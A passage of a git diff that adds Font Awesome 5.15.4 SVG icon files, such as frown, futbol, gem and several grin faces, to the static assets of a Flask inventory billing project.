8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown-open.svg new file mode 100644 index 00000000..07324575 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown.svg new file mode 100644 index 00000000..ce72f20b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/frown.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/futbol.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/futbol.svg new file mode 100644 index 00000000..63219027 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/futbol.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/gem.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/gem.svg new file mode 100644 index 00000000..dca59920 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/gem.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grimace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grimace.svg new file mode 100644 index 00000000..803f0078 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grimace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-alt.svg new file mode 100644 index 00000000..184144cd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam-sweat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam-sweat.svg new file mode 100644 index 00000000..826c4c40 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam-sweat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam.svg new file mode 100644 index 00000000..72bd14ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-hearts.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-hearts.svg new file mode 100644 index 00000000..3fef41a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-hearts.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint-tears.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint-tears.svg new file mode 100644 index 00000000..c82e1f9a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint-tears.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint.svg new file mode 100644 index 00000000..cdad9f04 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-stars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-stars.svg new file mode 100644 index 00000000..87a94381 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-stars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tears.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tears.svg new file mode 100644 index 00000000..e3602b26 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tears.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-squint.svg new file mode 100644 index 00000000..673cd1a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/grin-tongue-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 